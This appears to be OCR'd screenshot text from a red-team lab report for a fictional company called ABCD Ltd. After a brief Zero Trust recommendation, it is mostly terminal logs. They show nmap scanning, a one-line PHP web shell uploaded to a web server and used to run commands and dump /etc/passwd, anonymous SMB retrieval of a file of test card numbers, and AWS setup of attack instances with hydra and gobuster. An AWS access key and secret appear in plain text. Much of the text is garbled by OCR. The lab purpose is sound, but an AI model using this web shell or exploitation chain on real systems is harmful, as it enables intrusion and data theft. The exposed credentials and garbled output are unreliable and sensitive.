The recent M&S episode shows how prolonged disruption can hurt business.  ABCD Ltd should use the Zero Trust framework, phishing-resistant MFA, network segmentation, least-privilege access, and tested recovery procedures. Critical services should be separated in such a way that the compromise of a web-facing application cannot easily reach the domain controllers or sensitive file servers.
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4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

New release '24.84.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Aug 8 ©3:31:04 2026 from 49.37.113.71
[ubuntu@ip-172-31-19-221:~$ nmap -sV 3.80.57.237 98.81.83.126 100.62.105.207
Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-08 03:46 UTC

Nmap scan report for ec2-3-80-57-237.compute-1.amazonaws.com (3.80.57.237)
Host is up (0.00081s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE VERSION
22/tcp open  ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.16 (Ubuntu Linux; protocol 2.8)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for ec2-98-81-83-126.compute-1.amazonaws.com (98.81.83.126)

Host is up (0.00081s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE VERSION

22/tcp open  ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.16 (Ubuntu Linux; protocol 2.0)
80/tcp closed http

139/tcp closed netbios-ssn

445/tcp closed microsoft-ds

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for ec2-100-62-105-207.compute-1.amazonaws.com (100.62.105.207)

Host is up (0.00088s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE VERSION

22/tcp open  ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.16 (Ubuntu Linux; protocol 2.0)
80/tcp closed http

139/tcp open  netbios-ssn Samba smbd 4.6.2

445/tcp open  netbios-ssn Samba smbd 4.6.2

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 19.65 seconds
ubuntu@ip-172-31-19-221:~$ echo '<?php system($_GET["cmd"]); ?>' > shell.php





image10.png
Nmap scan report for ec2-100-62-105-207.compute-1.amazonaws.com (100.62.105.207)

Host is up (0.00088s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.16 (Ubuntu Linux; protocol 2.0)
80/tcp closed http

139/tcp open netbios-ssn Samba smbd 4.6.2

445/tcp open  netbios-ssn Samba smbd 4.6.2

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 19.65 seconds
ubuntu@ip-172-31-19-221:~$ echo '<?php system($_GET["cmd"]1); ?>' > shell.php

[curl -F "file=@shell.php" http://3.80.57.237/upload.php

Uploaded to: /var/www/html/uploads/shell.php<form method="post" enctype="multipart/form-data">
<input type="file" name="file">

<input type="submit">

</form>

[ubuntu@ip-172-31-19-221:~$

[ubuntu@ip-172-31-19-221:~$ curl "http://3.80.57.237/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[ubuntu@ip-172-31-19-221:~$ curl "http://3.80.57.237/uploads/shell.php?cmd=cat+/etc/passwd"
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp: /var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www—data:x:33:33:www—data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd: /usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody : x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,, :/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105: : /nonexistent:/usr/sbin/nologin
systemd—timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534: : /nonexistent:/usr/sbin/nologin

tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114: : /nonexistent:/usr/sbin/nologin
sshd:x:109:65534: : /run/sshd:/usr/sbin/nologin
pollinate:x:11@:1::/var/cache/pollinate:/bin/false
landscape:x:111:116::/var/lib/landscape: /usr/sbin/nologin
fwupd-refresh:x:999:999:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
ec2-instance-connect:x:112:65534: : /nonexistent:/usr/sbin/nologin
_chrony:x:113:120:Chrony daemon, ,,:/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu: /home/ubuntu:/bin/bash
1xd:x:998:119::/var/snap/1xd/common/1xd:/bin/false

ubuntu@ip-172-31-19-221:~$ [I
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Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sat Aug 8 ©3:57:12 UTC 2026

System load: 0.08 Processes: 108
Usage of /: 30.0% of 7.57GB Users logged in: 1
Memory usage: 26% IPv4 address for ens5: 172.31.19.221

Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list ——upgradable

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

New release '24.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Aug 8 ©3:46:35 2026 from 49.37.113.71
[ubuntu@ip-172-31-19-221:~$ ssh lowpriv@98.81.83.126
[Lowpriv@98.81.83.126's password:

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sat Aug 8 ©3:57:57 UTC 2026

System load: 0.08 Processes: 112
Usage of /: 26.3% of 7.57GB Users logged in: 1
Memory usage: 25% IPv4 address for ensb5: 172.31.26.150

Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list ——upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

New release '24.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
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sudo apt install smbclient
[ubuntu@ip-172-31-19-221:~$ sudo apt install smbclient
Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

The following additional packages will be installed:

libavahi-client3 libavahi-common-data libavahi-common3 libcups2 libldb2 libsmbelient libtalloc2 libtdbl libtevent@ libwbclient@ python3-gpg python3-ldb python3-samba python3-talloc pythond-tdb samba-common samba-common-bin

samba-dsdb-modules samba-libs
Suggested packages:

cups-common heimdal-clients python3-markdown python3-dnspython cifs-utils

The following NEW packages will be installed:

libavahi-client3 libavahi-common-data libavahi-common3 libcups2 libldb2 libsmbclient libtalloc2 libtdbl libtevent® libwbclient@ python3-gpg python3-ldb python3-samba python3-talloc python3-tdb samba-common samba-common-bin

samba-dsdb-modules samba-libs smbclient
© upgraded, 20 newly installed, @ to remove and 1 not
Need to get 12.1 MB of archives.

upgraded.

After this operation, 58.1 MB of additional disk space will be used.

[Do you want to continue? [Y/n] Y
http://us—east-1.
http://us—east-1.
Get:3 http://us-east-1.
http://us—east-1.
http://us-east-1.
http://us-east-1.
Get:7 http://us-east-1.

9 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
2 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
4 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
5 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
6 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
7 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
8 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
9 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
9 http://us-east-1.ec2.archive.ubuntu.com/ubuntu
Fetched 12.1 MB in @s (60.7 MB/s)

Preconfiguring packages ...

ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libtalloc2 amdés4 2.3.3-2buildl [25.6 kB]
ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libtevent® amdé4 @.11.e-lbuildl [39.2 kB]
ec2.archive.ubuntu.com/ubuntu jammy-updates/main
ec2.archive.ubuntu.com/ubuntu jammy-updates/main
ec2.archive.ubuntu.com/ubuntu jammy-updates/main
ec2.archive.ubuntu.com/ubuntu jammy-updates/main
ec2.archive.ubuntu.com/ubuntu jammy-updates/main
http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main
http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libtdbl

amd64
amd64
amd64
amdé4
amdé4
amdé4

libwbclient® amdé4 2:4.15.13+dfsg-@ubuntul.13 [269 kB]
‘samba-common all 2:4.15.13+dfsg-Qubuntul.13 [76.3 kB]
~common-data amd64 ©.8-5ubuntus.5 [24.0 kB
~common3 amd64 0.8-5ubuntus.5 [23.9 kB]
libavahi-client3 amdé4 .8-5ubuntus.5 [28.1 kB]

libcups2 amdés4 2.4.1opl-lubuntu4.21 [266 kB]

amdés4 1.4.5-2buildl [46.4 kB]

jammy-updates/main amdé4 1ibldb2 amdé4 2:2.4.4-Oubuntu@.22.04.2 [154 kB]
jammy-updates/main amdé4 python3-1db amdé4 2:2.4.4-Bubuntu@.22.04.2 [41.7 kB]
jammy/main amdé4 python3-talloc amdé4 2.3.3-2buildl [13.0 kB]

jammy-updates/main amdé4 samba-libs amdés 2:4.15.13+dfsg-Oubuntul.13 [6276 kB]
janmy-updates/main amdé4 libsmbclient amdé4 2:4.15.13+dfsg-oubuntul.13 [65.9 kB]
janmy-updates/main amdé4 smbclient amdéd 2:4.15.13+dfsg-Oubuntul.13 [473 kB]
jammy-updates/main amdé4 python3-gpg amdé4 1.16.0-1.2ubuntué.2 [214 kB]

janmy/main amdé4 python3-tdb amdéé 1.4.5-2buildl [15.5 kB]

janmy-updates/main amdé4 python3-samba amdés4 2:4.15.13+dfsg-Bubuntul.13 [3117 kB]
jammy-updates/main amdé4 samba-common-bin amdé4 2:4.15.13+dfsg-@ubuntul.13 [621 kB]
jammy-updates/main amdé4 samba-dsdb-modules amdé4 2:4.15.13+dfsg-Oubuntul.13 [315 kB]

Selecting previously unselected package libtalloc2:amdéé.

(Reading database ... 73929 files and directories currently installed.)
Preparing to unpack .../@@-libtalloc2_2.3.3-2buildl_amdé.deb ...
Unpacking libtalloc2:amdé4 (2.3.3-2buildl) ...

Selecting previously unselected package libtevent@:amdsé.

Preparing to unpack .../@1-libtevent6_.11.8-1buildl_andé4.deb ...
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Selecting previously unselected package samba-dsdb-modules:amdéé4.

Preparing to unpack .../19-samba-dsdb-modules_2%3a4.15.13+dfsg—@Qubuntul.13_amdé4.deb ...
Unpacking samba-dsdb-modules:amdé4 (2:4.15.13+dfsg-@ubuntul.13) ...

Setting up libtdbl:amdé4 (1.4.5-2buildl)

Setting up samba-common (2:4.15.13+dfsg-@ubuntul.13) ...

Creating config file /etc/samba/smb.conf with new version
Setting up libtalloc2:amdé4 (2.3.3-2buildl) ...

Setting up python3-tdb (1.4.5-2buildl) ...

Setting up libtevent@:amdé64 (0.11.0-1buildl) ...

Setting up python3-gpg (1.16.0-1.2ubuntu4.2) ...

Setting up libavahi-common-data:amdé4 (@.8-5ubuntu5.5) ...
Setting up libldb2:amdé4 (2:2.4.4-@ubuntu@.22.04.2)

Setting up python3-talloc:amdé4 (2.3.3-2buildl) ...

Setting up libavahi-common3:amdé4 (@.8-5ubuntu5.5) ...

Setting up libwbclient@:amdé4 (2:4.15.13+dfsg—@ubuntul.13) ...
Setting up python3-1ldb (2:2.4.4-@ubuntu@.22.04.2) ...

Setting up libavahi-client3:amdé4 (@.8-5ubuntu5.5) ...

Setting up libcups2:amdé4 (2.4.lopl-lubuntu4.21) ...

Setting up samba-libs:amdé4 (2:4.15.13+dfsg-@ubuntul.13) ...
Setting up libsmbclient:amdé4 (2:4.15.13+dfsg-@ubuntul.13) ...
Setting up smbclient (2:4.15.13+dfsg-@ubuntul.13) ...

Setting up samba-dsdb-modules:amdé4 (2:4.15.13+dfsg-@ubuntul.13) ...
Setting up python3-samba (2:4.15.13+dfsg—@Qubuntul.13) ...
Setting up samba-common-bin (2:4.15.13+dfsg-@ubuntul.13) ...
Checking smb.conf with testparm

Load smb config files from /etc/samba/smb.conf

Loaded services file OK.

Weak crypto is allowed

WARNING: The 'netbios name' is too long (max. 15 chars).
Server role: ROLE_STANDALONE

Done

Processing triggers for man-db (2.10.2-1) ...

Processing triggers for libc-bin (2.35-Qubuntu3.14) ...
Scanning processes...

Scanning linux images...

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (gemu) binaries on this host.
[ubuntu@ip-172-31-19-221:~$ smbclient -L //100.62.105.207/ -N

Sharename Type Comment

print$ Disk Printer Drivers

sensitive Disk

IPC$ IPC IPC Service (ip-172-31-25-15 server (Samba, Ubuntu))

SMB1 disabled —— no workgroup available

ubuntu@ip-172-31-19-221:~$ smbclient //100.62.105.207/sensitive -N —c "get customer_data.txt"

[cat customer_data.txt

getting file \customer_data.txt of size 126 as customer_data.txt (41.0 KiloBytes/sec) (average 41.0 KiloBytes/sec)
Customer Database Export — CONFIDENTIAL

Name: John Smith, Card: 4111-1111-1111-1111

Name: Jane Doe, Card: 4222-2222-2222-2222
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operator®ABCU-LAB:~ % brew 1nstall awscli
laws configure

~ JSON API packages.armé4_tahoe. jws.json

awscli 2.36.16 is already installed but outdated (so it will be upgraded).
> Would install 1 formula:

awscli

> Downloading https://ghcr.io/v2/homebrew/core/awscli/manifests/2.36.19

> Fetching downloads for: awscli

v Bottle awscli (2.36.19)

> Upgrading awscli

2.36.16 —> 2.36.19

Pouring awscli—2.36.19.armé4_tahoe.bottle. tar.gz

Caveats

The "examples" directory has been installed to:
/opt/homebrew/share/awscli/exanples

Summary

D /opt/homebrew/Cellar/awscli/2.36.19: 14,670 files, 163.2M8

Running “brew cleanup awscli'...

Disable this behaviour by setting ‘HOMEBREW_NO_INSTALL_CLEANUP=1'.

Hide these hints with 'HOMEBREW_NO_ENV_HINTS=1" (see ‘man brew’).

Removing: /opt/homebrew/Cellar/awscli/2.36.16... (15,021 files, 169.1MB)

Removing: /Users/srita/Library/Caches/Homebrew/awscli_bottle manifest—2.36.16... (89.5KB)
Removing: /Users/srita/Library/Caches/Homebrew/awscli—2.36.16... (23.9MB)
> Caveats

zsh completions and functions have been installed to:
/opt/homebrew/share/zsh/site-functions

[AWS Access Key ID [ickkirhiiioihkANGP] : AKIARAGZYXO4FXRVGAEZ

[AWS Secret Access Key [HowhiibibioibiobionkShOr] : MyQELSAWBVUWV FeByBQyMO350HYRq6S@+hBFACE

[Default region name [us-east-11:

[Default output format [Nonel:

loperator@ABCD-LAB:~ % aws ec2 create-security-group —group-name RedTeamLab --description "lab"

{

089e78fb6agelsiec”,

“GroupId®: "sg—¢
"arn:aws:ec2:us-east-1:069176179640: securi ty-group/sg-089e78fbsage1810c"

"SecurityGroupArn":

}

operator@ABCD-LAB:~ % MYIP=$(curl -s ifconfig.me)

aws ec2 authorize-security-group-ingress —-group-name RedTeamlab —protocol tcp —-port 22 —cidr ${MYIP}/32
laws ec2 authorize-security-group-ingress —group-name RedTeamLab —protocol tcp —-port 80 —cidr ${MYIP}/32

aws: [ERROR]: An error occurred (InvalidParameterValue) when calling the AuthorizeSecurityGroupIngress operation: CIDR block 2405:201:a0@a:al5e:60cd:faSc:374e:eblb/32 is malformed

aws: [ERROR]: An error occurred (InvalidParameterValue) when calling the AuthorizeSecurityGroupIngress operation: CIDR block 2405:201:a0@a:albe:6@cd:faSc:374e:eblb/32 is malformed

operator@ABCD-LAB:~ % MYIP=$(curl -s -4 ifconfig.me)

lecho SMYIP

49.37.113.71

operator@ABCD-LAB:~ % MYIP=49.37.113.71

aws ec2 authorize-security-group-ingress --group-name RedTeamLab —protocol tcp
laws ec2 authorize-security-group-ingress ——group-name RedTeamLab —protocol tcp
{

port 22 —cidr ${MYIP}/32
port 80 —cidr ${MYIP}/32

“Return”: true,
"SecurityGroupRules”
{

[

“SecurityGroupRuleId": "sgr-@dbcd83bd150ff19
"GroupId": "sg-889e78fbéagel1810c",
"GroupOwnerId": "069176179640"

“IsEgress”: false,
"IpProtocol": "tcp",
"FromPort": 22,
"ToPort"

9.37.113.71/32",

“CidrTpv4":
arn:aws:ec2:us-east-1:069176179640: security-group-rule/sgr-adbcds3bd150£196"

“Securi tyGroupRuleArn*

B R 100.0%
24.0MB/ 24.0MB

1
15.6MB/ 15.6MB
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{
"Return": true,
"SecurityGroupRules”: [
{
"SecurityGroupRuleld": "sgr-01188fddab9aad749",
"GroupId": "sg-089e78fb6age1810
"GroupOwnerId": "069176179640",
"IsEgress": false,
*IpProtocol”: "tcp"
“FromPort":
ToPort
CidrIpva": "49.37.113.71/32",
"SecurityGroupRuleArn": "arn:aws:ec2:us-east-1:069176179640: security-group-rule/sgr-1188fddab9aad749"
}
1
}

operator@ABCD-LAB:~ % aws ec2 create-key-pair —key-name redteam-key —query 'KeyMaterial' —output text > redteam-key.pem
[chmod 400 redteam-key.pem

[operator@ABCD-LAB: ~ % aws ec2 run-instances --image-id ami-8c76bd4bd302b38ec —instance-type t3.micro --key-name redteam-key —security-groups RedTeamLab —count 1

aws: [ERROR]: An error occurred (InvalidAMIID.NotFound) when calling the RunInstances operatiol
operator@ABCD-LAB:~ % aws ec2 describe-images —owners 899720109477 —filters "Name=name,Values=
eld' --output text

The image id '[ami-@c76bd4bd302b3@ec]' does not exist
buntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server—*" "Name=state,Values=available" —-query 'sort_by(Images, &CreationDate)[-1].Imag

ami-06e78a71af43ef21a
(operator@ABCD-LAB: ~ % aws ec2 run-instances --image-id ami-@6e78a71af43ef21a —instance-type t3.micro --key-name redteam-key —security-groups RedTeamLab —count 1
{

"ReservationId": "r-0e612136e439d1bf7",

"OwnerId": "069176179640",

"Groups": [1,

“Instances": [

{

"Architecture": "x86_64",
"BlockDeviceMappings": [],
“ClientToken": "812edd@6-al98-451d-8c43-ch36191e3677",
"EbsOptimized": false,
"EnaSupport": true,
"Hypervisor": "xen"

“NetworkInterfaces"
1{
“Attachment": {

“AttachTime": "2026-08-08T63:23:50+00:00",
“AttachmentId": "eni-attach-@f16ab79@478a7d7c",
“DeleteOnTermination”: true,
“DeviceIndex": @,
“Status": "attachin
“NetworkCardIndex"

3
"Description”: ",
“Groups®: [

1

"GroupIld":
"GroupName" :

sg-089e78fbbagel8l0c",
"RedTeamLab"

"MacAddress": "@a:ff:f3: 87",
"NetworkInterfaceId": "eni-0312341d286dd5090",
"OwnerId": "@6917617964¢

"PrivateDnsName": "ip-172-31-18-75.ec2.internal",
"PrivateIpAddress": "172.31.18.75",
“"PrivateIpAddresse: r

{

"Primary": true,
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"Primary": true,
"PrivateDnsName": "ip-172-31-18-75.ec2.internal",
"PrivateIpAddress": "172.31.18.75

}
1.
SourceDestCheck": true,
"Status": "i
"SubnetId": "subnet-@56aclaecaabl79d4",

"VpcId": "vpc-8a2c66981deslecée",
"InterfaceType": "interface",

"Operator": {
"Managed": false
}
}
1,
"RootDeviceName": "/dev/sda1",
"RootDeviceType": "ebs",
"SecurityGroups": [
{
"GroupId": "sg-089e78fbéage1siec,
"GroupName": "RedTeamLab"
}
1,
"SourceDestCheck": true,
"StateReason": {
“Code”: "pending”,
"Message": "pending"

}

"VirtualizationType": "hvm",
[operator@ABCD-LAE % aws ec2 run-instances —image-id ami-@ée78a71af43ef21la —instance-type t3.micro —key-name redteam—key —-security-groups RedTeamLab ——count 1
{

c585d639e2f3"

"Instances": [
{
"Architecture": "x86_64",
“BlockDeviceMappings": [],
"ClientToken": "10f64871-6dbd-4e72-9492-823bbf2196ce"
"EbsOptimized": false,
"EnaSupport": true,
"Hypervisor": "xen",
"NetworkInterfaces": [
{

“"Attachment": {
“"AttachTime"
"AttachmentId": "en:
"DeleteOnTerminatiol
"DeviceIndex": @,
"Status": "attaching'
"NetworkCardInde:

"2026-08-08T03: 24:36+00:00",
attach-03cf3b3bb628af447",
true,

"Ipv6Addresses": [],
"MacAddress": "@a:ff:ea:

"NetworkInterfaceId": "eni-@b3e2a1851dbadbos",
"OwnerId": "069176179640",




image17.png
"Managed": false

}
1,
"RootDeviceName
"RootDeviceType!
"SecurityGroups
{

"Groupld": "sg-089e78fbéa9el8lec",
"GroupName "RedTeamLab"

}
1,
"SourceDestCheck": true,
“StateReason": {
"Code": "pending",
"Message": "pending"
},
"VirtualizationType": "hvm",
[operator@ABCD-LAB:~ % aws ec2 run-instances —image-id ami-@6e78a7laf43ef2la —instance-type t3.micro ——key-name redteam-key ——security-groups RedTeamLab —count 1
{

"ReservationId": "r-@df9@c@15@af5a5ff",
"OwnerId": "@69176179640",

“Groups": [1,

"Instances": [

{

"Architecture": "x86_64",

"BlockDeviceMappings": [],

"ClientToken 42189b8-0d9c-4265-9e39-17e0961e005e" ,
"EbsOptimized": false,

"EnaSupport": true,

"Hypervisor": "xen",

"NetworkInterfaces": [

{
"Attachment": {
"AttachTime": "2026-08-08T03:25:00+00:00",
"AttachmentId": "eni-attach-@cac663d215c09040",

"DeleteOnTermination": true,
"DeviceIndex": @,
"Status": "attaching",
"NetworkCardIndex": @
3,
"Description": "",
"Groups": [
{
“GroupId"

"sg-089e78fbbajel8loc",
"RedTeamLab"

c:ab:d7",
"NetworkInterfaceId": "eni-@e7d8af3cbc37fbb5",
"OwnerId": "@69176179640",
"PrivateDnsName": "ip-172-31-23-141.ec2.internal",
"PrivateIpAddress 72.31.23.141",
"PrivateIpAddresses": [
{
"Primary": true,
"PrivateDnsName": "ip-172-31-23-141.ec2.internal",
"PrivateIpAddress "172.31.23.141"
}

1
"SourceDestCheck": true,

"Status": "in-use",

"SubnetId": "subnet-@50aclaecaabl79d4",





image18.png
“oecuratyoroups”

“GroupId"
“GroupNam

'sg-089e78fbba9el8l0c",
RedTeamLab"

b
1,
"SourceDestCheck": true,
"StateReason": {

"Code' ending”,
"Message": "pending"

3,

"VirtualizationType vm*,

[operator@ABCD-LAB:~ % aws ec2 run-instances ——image-id ami-@6e78a7l1af43ef2la —instance-type t3.micro —key-name redteam-key --security-groups RedTeamLab ——count 1
{

"ReservationId": "r-@54a76alf6f7015ab",
"069176179640" ,

"Instances": [
il
"Architecture": "x86_64",
“"BlockDeviceMappings 1y
"ClientToken": "@f3bd191-d@33-469f-94ae-5cc376@9cab5",

"Hypervisor"
"NetworkInterfaces": [

"Attachment": {
"AttachTime": "2026-88-08T03:25:06+00:00",
"AttachmentId' “"eni-attach-0710e79a5cc17bedf",
eleteOnTermination”: true,
eviceIndex": @,
“Status": "attaching",
“NetworkCardIndex": @

H
"Description”
"Groups": [
{
"GroupId": "sg-089e78fb6a%el8lec",
"GroupName": "RedTeamLab"
}
1,
"Ipv6Addresses": [1,
"MacAddress": "@a:ff:cb:35:6d:cd",
"NetworkInterfaceld ni-81eb8781da38ec754",

"OwnerId": "@69176179640",
"PrivateDnsName": "ip-172-31-20-183.ec2.internal",

"PrivateIpAddress": "172.31.20.183",
"PrivateIpAddresses": [
{

"Primary": true,
"PrivateDnsName" 1p-172-31-20-183.ec2.internal",
"PrivateIpAddress": "172.31.20.183"

1,
"SourceDestCheck": true,
"Status" in-use",
"SubnetId "subnet-050aclaecaab179d4",
"WpeId": "vpc-0a2c66981de4lecée”,
"InterfaceType “interface",
"Operator": {

“Managed": false

}
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}
1,
"SourceDestCheck": true,
"StateReason": {
"Code": "pending",
"Message": "pending"
+
"VirtualizationType": "hvm",
[operator@ABCD-LAB:~ % aws ec2 describe-instances ——query 'Reservations[*].Instances[*].[Instanceld,PublicIpAddress]' ——output table

| DescribeInstances

e e ——+

| i-e86d7ebde@2942cest | 54.234.112.222 |

| i-@e9c3eb543774e961 | 18.215.167.112 |

| i-093925a5106f398b4 | 54.242.214.123 |

| i-@ec8f2ad5a2552f44 | 3.80.110.97 |

A e

[operator@ABCD-LAB:~ % ssh —i redteam-key.pem ubuntu@54.234.112.222

The authenticity of host '54.234.112.222 (54.234.112.222)' can't be established.
ED25519 key fingerprint is: SHA256:Kp+TYEy7tmqJPiwggoWP91VsPc8J+gvuNliSvymLGpw
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprintl)? yes
Warning: Permanently added '54.234.112.222' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sat Aug 8 ©3:25:40 UTC 2026

System load: ©.13 Processes: 115
Usage of /: 23.0% of 7.576B Users logged in: (2]
Memory usage: 26% IPv4 address for ens5: 172.31.20.183

Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
@ updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[ubuntu@ip-172-31-20-183:~$ sudo apt update & sudo apt install -y nmap gobuster hydra netcat-openbsd python3-pip
Hit:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy InRelease

Get:2 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates InRelease [128 kB]

Get:3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports InRelease [127 kB]

Get:4 http://security.ubuntu.com/ubuntu jammy-security InRelease [129 kB]

Get:5 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 Packages [14.1 MB]
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[ubuntu@ip-172-31-26-183:~$ sudo apt update && sudo apt install -y nmap gobuster hydra netcat-openbsd python3-pip
Hit:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy InRelease

Get:2 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates InRelease [128 kB]

Get:3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports InRelease [127 kB]

Get:4 http://security.ubuntu.com/ubuntu jammy-security InRelease [129 kB]

Get:5 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 Packages [14.1 MB]

Get:6 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe Translation-en [5652 kB]

Get:7 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 c-n-f Metadata [286 kB]

Get:8 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/multiverse amdé4 Packages [217 kB]

Get:9 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/multiverse Translation-en [112 kB]

Get:16 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/multiverse amdés c-n—f Metadata [8372 B]

Get:11 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 Packages [3714 kB]

Get:12 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main Translation-en [554 kB]

Get:13 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/restricted amdé4 Packages [6403 kB]
Get:14 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/restricted Translation-en [1226 kB]
Get:15 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 Packages [1279 kB]

Get:16 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe Translation-en [322 kB]

Get:17 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 c-n-f Metadata [30.8 kB]
Get:18 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/multiverse amdé4 Packages [76.5 kB]
Get:19 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/multiverse Translation-en [15.9 kB]
